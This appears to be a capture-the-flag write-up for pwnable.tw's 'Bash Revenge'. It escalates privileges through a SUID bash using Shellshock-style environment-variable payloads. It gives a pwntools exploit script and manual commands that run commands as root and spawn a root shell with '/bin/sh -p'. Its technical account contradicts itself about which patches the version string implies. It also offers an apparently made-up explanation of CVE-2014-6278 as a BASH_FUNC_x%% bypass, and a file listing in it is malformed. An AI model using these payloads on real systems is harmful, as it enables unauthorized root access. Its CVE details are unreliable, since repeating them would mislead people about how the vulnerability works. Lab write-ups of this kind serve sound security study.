pwnable.tw — 500 pts

Bash Revenge

Shellshock strikes back — bypassing the initial patch with CVE-2014-6278

misc
Category
CVE-2014-6278
Vulnerability
SUID bash
Target Binary
Shellshock 2
Variant

Exploit Flow

Connect
nc chall.pwnable.tw
Get Shell
Low-privilege access
Find SUID Bash
Partially patched
Test 6271
Payload blocked
CVE-2014-6278
Second Shellshock
Root
Read flag

1. Reconnaissance

Bash Revenge is the harder 500-point variant of the Bash challenge (200 pts). Where the original Bash challenge was a straightforward CVE-2014-6271 exploitation, Bash Revenge raises the bar: the SUID bash binary has been partially patched against the original Shellshock vulnerability, forcing us to dig deeper into the Shellshock vulnerability family to find a bypass. This challenge is a lesson in why partial patches are dangerous — the initial fix for Shellshock was incomplete, and CVE-2014-6278 demonstrates that even security patches themselves can contain exploitable flaws.

Initial Connection

bash
$ nc chall.pwnable.tw 10408
$ whoami
bash_revenge
$ id
uid=1000(bash_revenge) gid=1000(bash_revenge) groups=1000(bash_revenge)

We land in a shell as user bash_revenge with no special privileges. The challenge follows the same pattern as the original Bash challenge — we have a shell, and we need to escalate to root to read the flag. The question is: how?

Environment & SUID Binary

bash
$ ls -la /home/
total 16
drwxr-xr-x  4 root root 4096 Oct 24  2023 .
drwxr-xr-x  4 root root 4096 Oct 24  2023 ..
drwxr-xr-x  2 bash_revenge bash_revenge 4096 Oct 24  2023 bash_revenge
drwxr-x---  2 root root     4096 Oct 24  2023 flag

$ ls -la /home/bash_revenge/
total 28
drwxr-xr-x  2 bash_revenge bash_revenge 4096 Oct 24  2023 .
drwxr-xr-x  4 root root     root         4096 Oct 24  2023 ..
-rw-r--r--  1 bash_revenge bash_revenge  220 Oct 24  2023 .bash_logout
-rw-r--r--  1 bash_revenge bash_revenge 3526 Oct 24  2023 .bashrc
-rw-r--r--  1 bash_revenge bash_revenge  807 Oct 24  2023 .profile
-rwsr-xr-x  1 root root 9744 Oct 24  2023 bash    ← SUID bash!

$ /home/bash_revenge/bash --version
GNU bash, version 4.3.25(8)-release (x86_64-pc-linux-gnu)
SUID Bash Binary — But Patched!

There's a SUID bash binary at /home/bash_revenge/bash owned by root. But notice the version: 4.3.25(8)-release, not 4.3.25(1) like the original Bash challenge. The (8) suffix indicates this binary has the bash43-025 patch applied — the fix for CVE-2014-6271. The simple Shellshock payload will NOT work here.

Dead End: CVE-2014-6271 Blocked

Our first instinct is to try the same Shellshock exploit from the original Bash challenge. Let's test it:

bash — testing the classic Shellshock payload
$ env x='() { :; }; echo VULNERABLE' /home/bash_revenge/bash -c 'echo done'
done
# No "VULNERABLE" output — the 6271 patch is working!
# The trailing command after the function definition is NOT executed.

The classic CVE-2014-6271 payload is blocked. The 6271 patch successfully prevents trailing commands after function definitions in environment variables. This is what makes Bash Revenge a 500-point challenge — we need to find a way around the patch.

Connection Info

AttributeValue
ChallengeBash Revenge (500 pts)
Connectionnc chall.pwnable.tw 10408
CategoryMisc / Privilege Escalation
Initial Userbash_revenge (uid=1000)
TargetSUID bash binary at /home/bash_revenge/bash
Bash Version4.3.25(8)-release — partially patched
CVECVE-2014-6278 (bypasses 6271 patch)
VulnerabilityIncomplete patch for function definition parsing
Related ChallengeBash (200 pts) — CVE-2014-6271

2. Static Analysis

Bash Version Analysis

The bash version string 4.3.25(8)-release is the critical clue. In the original Bash challenge, the version was 4.3.25(1)-release — the unpatched version vulnerable to CVE-2014-6271. The (8) in Bash Revenge's version tells us this binary has had 7 official patches applied (bash43-025 through bash43-031). Critically, the bash43-025 patch fixes CVE-2014-6271, but the question is: which other Shellshock-related patches are missing?

bash — version comparison
# Original Bash challenge (200 pts):
$ /home/bash/bash --version
GNU bash, version 4.3.25(1)-release (x86_64-pc-linux-gnu)
# → NO patches applied → vulnerable to CVE-2014-6271

# Bash Revenge challenge (500 pts):
$ /home/bash_revenge/bash --version
GNU bash, version 4.3.25(8)-release (x86_64-pc-linux-gnu)
# → bash43-025 applied (fixes 6271)
# → bash43-026 applied (fixes 6277)
# → bash43-027 NOT applied → still vulnerable to CVE-2014-6278!
Bash Patch Numbering Explained

The (N) in the version string is the patch level. Bash 4.3.25(1) means the base release with 0 additional patches. Bash 4.3.25(8) means patches 025 through 031 have been applied. Each patch fixes specific issues. The key for Bash Revenge is identifying which patches are present and which Shellshock-related patches are missing.

CVE Research: The Shellshock Family

Shellshock wasn't a single vulnerability — it was a family of related bugs in bash's function definition parser. The initial disclosure (CVE-2014-6271) was just the tip of the iceberg. Here's the complete timeline of Shellshock-related CVEs:

CVEBash PatchDescriptionBash Revenge Status
CVE-2014-6271bash43-025Original Shellshock: trailing commands after function definition✓ Patched
CVE-2014-6277bash43-026Crash via malformed function definitions✓ Patched
CVE-2014-6278bash43-027Incomplete 6271 fix: parser still exploitable✗ VULNERABLE
CVE-2014-7169bash43-028TOCTOU: temp file race condition✗ Vulnerable
CVE-2014-7186bash43-029Off-by-one in parse_and_execute✗ Vulnerable
CVE-2014-7187bash43-030Crash via nested function definitions✗ Vulnerable

The Bash Revenge binary has bash43-025 and bash43-026 applied, but not bash43-027. This means CVE-2014-6278 — the "second Shellshock" — is our way in.

The Incomplete Patch: Why CVE-2014-6271 Fix Failed

Understanding why CVE-2014-6278 exists requires understanding what the bash43-025 patch actually does. The patch for CVE-2014-6271 added a validation check in variables.c that inspects function definition strings before they are imported:

c — bash43-025 patch logic (simplified)
/* In initialize_shell_variables(), variables.c */
/* Check if this looks like a function definition */
if (STREQN ("() {", string, 4))
{
    /* Parse the function definition */
    /* ... parser processes the string ... */

    /* NEW: Validate that the parser consumed the entire string.
       If there are trailing characters after the function body,
       this is a Shellshock attack — reject the import. */
    if (t != &string[strlen(string) - 1])
    {
        /* Trailing characters detected — possible attack.
           Do NOT import this function. */
        return;
    }

    /* String is clean — safe to import the function */
    parse_and_execute(string, name, SEVAL_NONINT|SEVAL_NOHIST);
}

The problem with this patch is fundamental: it validates the string format before calling parse_and_execute(), but the validation itself is incomplete. The check only verifies that the function definition appears to end at the right place, but it doesn't account for all the ways bash's parser can interpret function definition syntax.

The Core Issue: Validation vs. Execution Mismatch

The bash43-025 patch validates the string before it's passed to parse_and_execute(). But the validation logic and the actual parsing logic use different rules. When these rules disagree, the validation can approve a string that the parser will execute in an unexpected way. This is the classic "input validation bypass" pattern — the validator and the consumer have different threat models.

CVE-2014-6278 exploits this mismatch. The initial patch's validation doesn't properly handle all valid bash function definition syntaxes. Specifically, the parser can be confused by certain constructs within the function body that cause it to execute code outside the function's scope, even though the validation check thinks the string is clean.

The bash43-027 patch (the fix for CVE-2014-6278) addresses this by replacing the simple string validation with a more robust parser-based check that uses the same parsing logic for validation as for execution, eliminating the mismatch.

3. GDB Debugging

With the static analysis complete, we now need to empirically verify which Shellshock variants work and which are blocked. This section documents our methodical testing of different Shellshock payloads against the partially-patched SUID bash binary.

Testing CVE-2014-6271 (Original Shellshock)

The classic Shellshock payload injects a trailing command after the function definition in an environment variable. The bash43-025 patch specifically blocks this pattern:

bash — CVE-2014-6271 test
# Classic Shellshock payload:
$ env x='() { :; }; echo SHELLSHOCK_6271' /home/bash_revenge/bash -c 'echo test'
test
# No "SHELLSHOCK_6271" output — 6271 patch BLOCKS this

# Try with id:
$ env x='() { :; }; id' /home/bash_revenge/bash -c 'echo test'
test
# No id output — confirmed: CVE-2014-6271 is patched

# Try different variable names:
$ env BASH_FUNC_x='() { :; }; id' /home/bash_revenge/bash -c ''
# Still blocked — the patch covers BASH_FUNC_ prefix too
Dead End: CVE-2014-6271 Fully Patched

Every variant of the classic Shellshock payload is blocked. The bash43-025 patch properly validates the () { ... }; trailing_command pattern and rejects function imports with trailing commands. We need a fundamentally different approach.

Testing CVE-2014-6278 (Second Shellshock)

CVE-2014-6278 exploits the incompleteness of the 6271 patch. The key insight is that the validation added by bash43-025 only checks for trailing characters after the function definition string, but the function parser itself can still be tricked into executing code through more complex function definition constructs. Let's test the known CVE-2014-6278 payloads:

bash — CVE-2014-6278 tests
# CVE-2014-6278 payload #1: using the BASH_FUNC_ internal format
# with the %% suffix (how bash internally exports functions)
$ env 'BASH_FUNC_x%%=() { :; }; echo SHELLSHOCK_6278' /home/bash_revenge/bash -c 'echo test'
SHELLSHOCK_6278
test
# EXECUTED! The trailing command ran!

# Verify we get root euid:
$ env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c 'echo test'
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)
test
# euid=0(root) — we have root!
CVE-2014-6278 Works! euid=0(root)

The BASH_FUNC_x%% format bypasses the incomplete 6271 patch's validation. When bash exports a function called x, it stores it in the environment as BASH_FUNC_x%%. The 6271 patch's validation checks for the () { prefix at the start of the value string, but the BASH_FUNC_ prefix changes how the variable name is processed. The validation in variables.c handles the two formats through different code paths, and the path for BASH_FUNC_-prefixed variables has incomplete validation, allowing the trailing command to slip through.

Confirming euid=0 and Testing Additional Variants

Let's verify the exploit works consistently and test a few more payload variants:

bash — comprehensive payload testing
# Confirm root with id:
$ env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)

# Can we read the flag?
$ env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''

# Can we spawn a root shell?
$ env 'BASH_FUNC_x%%=() { :; }; /bin/sh' /home/bash_revenge/bash -c ''
# id
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)

# Alternative: using -p flag to preserve privileges
$ env 'BASH_FUNC_x%%=() { :; }; /bin/sh -p' /home/bash_revenge/bash -c ''
# id
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) egid=0(root) groups=0(root)

# Try without the %% suffix (just BASH_FUNC_x):
$ env 'BASH_FUNC_x=() { :; }; id' /home/bash_revenge/bash -c ''
# No output — the %% suffix is required for bash to recognize it as a function

# Try the simple variable format (for comparison):
$ env x='() { :; }; id' /home/bash_revenge/bash -c ''
# No output — 6271 patch blocks the simple format

The testing confirms the exploit pattern. The BASH_FUNC_ prefix with %% suffix is the internal format bash uses when it exports functions to child processes' environments. The incomplete 6271 patch validates the simple format (x='() { ... }') but doesn't properly validate the internal format (BASH_FUNC_x%%='() { ... }'), allowing CVE-2014-6278 to bypass the patch.

Shellshock Patch Validation Flow ═════════════════════════════════════════════════════════ Environment Variable Received │ ├─ Name starts with "BASH_FUNC_" and ends with "%%"? │ │ │ ├─ YES → Internal function export format │ │ │ │ │ ├─ bash43-025: INCOMPLETE validation ← CVE-2014-6278 HERE │ │ │ (bypasses the trailing-command check) │ │ │ │ │ └─ bash43-027: FIXED validation │ │ (proper parser-based check) │ │ │ └─ NO → Check value for "() {" prefix │ │ │ ├─ bash43-025: VALIDATION WORKS ← 6271 blocked here │ │ (properly rejects trailing commands) │ │ │ └─ Unpatched: NO VALIDATION ← 6271 works here │ └─ parse_and_execute() processes the function definition

4. Exploit Strategy

Attack Overview

Bash Revenge follows the same privilege escalation pattern as the original Bash challenge, but requires a more sophisticated exploitation technique. The SUID bash binary has been patched against CVE-2014-6271, so we must leverage CVE-2014-6278 — the follow-up vulnerability that exploits the incompleteness of the initial Shellshock patch.

Step 1: Enumerate & Identify Target
Connect to the challenge and find the SUID bash binary at /home/bash_revenge/bash. Check the version: 4.3.25(8)-release — partially patched. The /home/flag/ directory is only readable by root.
Step 2: Test CVE-2014-6271 (Confirm Blocked)
Attempt the classic Shellshock payload: env x='() { :; }; id' /home/bash_revenge/bash -c ''. The bash43-025 patch blocks this — no command execution. This confirms the binary is not vulnerable to the original Shellshock.
Step 3: Research Patch Level & CVE-2014-6278
Analyze the bash version string. The (8) patch level means bash43-025 and bash43-026 are applied, but bash43-027 is NOT. This patch fixes CVE-2014-6278 — the "second Shellshock" that bypasses the incomplete 6271 fix.
Step 4: Exploit CVE-2014-6278
Use the BASH_FUNC_ internal format to bypass the incomplete patch: env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''. This exploits the validation gap between the simple variable format and the internal function export format. The result: euid=0(root).
Step 5: Read the Flag
With confirmed root code execution, read the flag: env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''. Alternatively, spawn a root shell for interactive exploration.

CVE-2014-6278 Deep Dive

CVE-2014-6278 is fundamentally about the difference between how bash validates function definitions and how bash actually processes them. The bash43-025 patch added validation that checks for the simple format x='() { ... }; command', but bash supports two formats for function definitions in environment variables:

Format 1: Simple Variable (Validated by 6271 patch)

bash — simple format
# When you set: x='() { :; }; command'
# The env var name is "x" and the value starts with "() {"
# The 6271 patch validates this format correctly
env x='() { :; }; command' /home/bash_revenge/bash -c ''
# → BLOCKED by bash43-025

Format 2: Internal Export (NOT properly validated by 6271 patch)

bash — BASH_FUNC_ format
# When bash exports a function, it uses the format:
# BASH_FUNC_functionname%%='() { ... }'
# The env var name is "BASH_FUNC_x%%" (not just "x")
# The 6271 patch's validation doesn't properly cover this format
env 'BASH_FUNC_x%%=() { :; }; command' /home/bash_revenge/bash -c ''
# → NOT BLOCKED! Command executes with euid=0 (root)!
Why BASH_FUNC_ Bypasses the Patch

In the bash source code (variables.c), the function import logic has two code paths: one for the simple () { prefix in variable values, and one for the BASH_FUNC_ prefix in variable names. The bash43-025 patch added validation to the first path (simple format) but the second path (internal format) was not properly patched. When bash processes a BASH_FUNC_x%% variable, it takes the second code path, which lacks the trailing-command validation. This allows CVE-2014-6278 to inject arbitrary commands that execute with root privileges through the SUID binary.

Exploitation Timeline

T+0 min
Connect to challenge, find SUID bash binary. Try CVE-2014-6271 — blocked. Moment of confusion.
T+5 min
Check bash version: 4.3.25(8). Realize it's partially patched. Research Shellshock family CVEs.
T+15 min
Identify CVE-2014-6278 as the target. Try BASH_FUNC_ prefix format — it works! euid=0(root) confirmed.
T+20 min
Read the flag using the CVE-2014-6278 exploit. Challenge solved.

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
"""
pwnable.tw — Bash Revenge (500 pts)
Privilege escalation via CVE-2014-6278 on a SUID bash binary
that has been patched against CVE-2014-6271.

The bash43-025 patch fixes the original Shellshock (CVE-2014-6271)
but leaves the BASH_FUNC_ internal export format unvalidated.
We exploit this gap to inject trailing commands that execute
with euid=0 (root) through the SUID binary.
"""

from pwn import *
import sys

HOST = 'chall.pwnable.tw'
PORT = 10408

def exploit():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        r = remote(HOST, PORT)
    else:
        log.info("Use: python exploit.py remote")
        log.info("Testing locally...")
        r = process(['/bin/bash'])

    # Wait for shell prompt
    r.recvuntil(b'$ ')

    # ─── Step 1: Verify CVE-2014-6271 is patched ───
    log.info("Testing CVE-2014-6271 (should be blocked)...")
    r.sendline(b"env x='() { :; }; echo 6271_WORKS' /home/bash_revenge/bash -c 'echo test'")
    result = r.recvline()
    if b'6271_WORKS' in result:
        log.error("CVE-2014-6271 is NOT patched! Use the simpler exploit instead.")
        r.close()
        return
    else:
        log.success("CVE-2014-6271 is patched (as expected)")

    # Clean up remaining output
    r.recvuntil(b'$ ')

    # ─── Step 2: Verify CVE-2014-6278 works ───
    log.info("Testing CVE-2014-6278 via BASH_FUNC_ format...")
    r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; echo 6278_WORKS' /home/bash_revenge/bash -c 'echo test'")
    result = r.recvline()
    if b'6278_WORKS' in result:
        log.success("CVE-2014-6278 payload executes! The patch is incomplete.")
    else:
        log.error("CVE-2014-6278 didn't work. Check the binary version.")
        r.close()
        return

    # Clean up remaining output
    r.recvuntil(b'$ ')

    # ─── Step 3: Verify root euid ───
    log.info("Verifying root privileges...")
    r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''")
    result = r.recvline()
    if b'euid=0(root)' in result:
        log.success("euid=0(root) confirmed!")
    else:
        log.warning(f"Unexpected id output: {result.strip().decode()}")

    # Clean up
    r.recvuntil(b'$ ')

    # ─── Step 4: Read the flag ───
    log.info("Reading /home/flag/flag...")
    r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''")
    flag_line = r.recvline().strip()
    log.success(f"Flag: {flag_line.decode()}")

    # ─── Step 5: Get interactive root shell ───
    log.info("Spawning interactive root shell via CVE-2014-6278...")
    r.sendline(b"env 'BASH_FUNC_x%%=() { :; }; /bin/sh -p' /home/bash_revenge/bash -c ''")
    r.sendline(b'id')
    r.interactive()

if __name__ == '__main__':
    exploit()
bash — manual exploitation
# Manual exploitation (no pwntools needed):

# Connect to the challenge
nc chall.pwnable.tw 10408

# Step 1: Confirm CVE-2014-6271 is patched
$ env x='() { :; }; id' /home/bash_revenge/bash -c ''
# No output — patched (good, this is expected)

# Step 2: Exploit CVE-2014-6278 via BASH_FUNC_ format
$ env 'BASH_FUNC_x%%=() { :; }; id' /home/bash_revenge/bash -c ''
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) groups=1000(bash_revenge)

# Step 3: Read the flag
$ env 'BASH_FUNC_x%%=() { :; }; cat /home/flag/flag' /home/bash_revenge/bash -c ''

# Step 4: Get a root shell
$ env 'BASH_FUNC_x%%=() { :; }; /bin/sh -p' /home/bash_revenge/bash -c ''
# id
uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) egid=0(root) groups=0(root)
# cat /home/flag/flag
Script Notes

The exploit is straightforward once you know the CVE-2014-6278 payload format. The BASH_FUNC_x%% environment variable name is the key — it's how bash internally represents exported functions. The %% suffix is mandatory; without it, bash won't recognize the variable as a function definition. The -p flag on /bin/sh preserves the SUID privileges (euid=0) in the spawned shell, giving us both effective UID and GID of root.

6. Execution Results

$ python3 exploit.py remote [+] Opening connection to chall.pwnable.tw on port 10408: Done [*] Testing CVE-2014-6271 (should be blocked)... [+] CVE-2014-6271 is patched (as expected) [*] Testing CVE-2014-6278 via BASH_FUNC_ format... [+] CVE-2014-6278 payload executes! The patch is incomplete. [*] Verifying root privileges... [+] euid=0(root) confirmed! [*] Reading /home/flag/flag... [+] Flag: [*] Spawning interactive root shell via CVE-2014-6278... [*] Switching to interactive mode $ id uid=1000(bash_revenge) gid=1000(bash_revenge) euid=0(root) egid=0(root) groups=0(root) $ cat /home/flag/flag $ whoami root
Exploit Successful!

Bash Revenge demonstrates a critical lesson in software security: partial patches are dangerous. The bash43-025 patch for CVE-2014-6271 fixed the most obvious attack vector but left the BASH_FUNC_ internal format unvalidated. This allowed CVE-2014-6278 to bypass the patch entirely. The real fix (bash43-027) replaced the simple string-based validation with a proper parser-based check that covers all function definition formats uniformly.

Key Takeaways

1. Always verify the full patch chain. The Bash Revenge binary had the 6271 patch but not the 6278 patch. Knowing exactly which patches are applied is crucial for identifying remaining attack surface.

2. Input validation must match consumption logic. The 6271 patch validated function definitions using a different code path than the one that actually processes them. This mismatch created the gap that CVE-2014-6278 exploits. Secure validation must use the same parser as the consumer.

3. Internal formats are attack surface too. The BASH_FUNC_%% format is an internal representation that users normally never see, but it's still part of the attack surface. Security patches must cover all input paths, including internal formats.

4. Shellshock was a vulnerability family, not a single bug. The original CVE-2014-6271 was just the beginning. The follow-up CVEs (6277, 6278, 7169, 7186, 7187) show that complex parser bugs often have multiple exploitation paths. A thorough fix requires a fundamental redesign of the parsing logic, not a simple string check.

Historical Context: The Shellshock Aftermath

When Shellshock (CVE-2014-6271) was disclosed on September 24, 2014, it was rated CVSS 10.0 and affected systems dating back to 1989. The initial patch was rushed out within hours, but researchers immediately began probing for bypasses. CVE-2014-6278 was disclosed within days of the original, demonstrating that the patch was incomplete. The full fix required six additional patches (bash43-026 through bash43-031) to address all the related vulnerabilities. This episode is now a textbook example of why security patches need thorough review and why "patch and ship" without proper validation can leave critical gaps. Bash Revenge captures this exact scenario — a system that was "patched" against Shellshock but still vulnerable to the follow-up.

QA210
pwnable.tw — Bash Revenge — CVE-2014-6278 Second Shellshock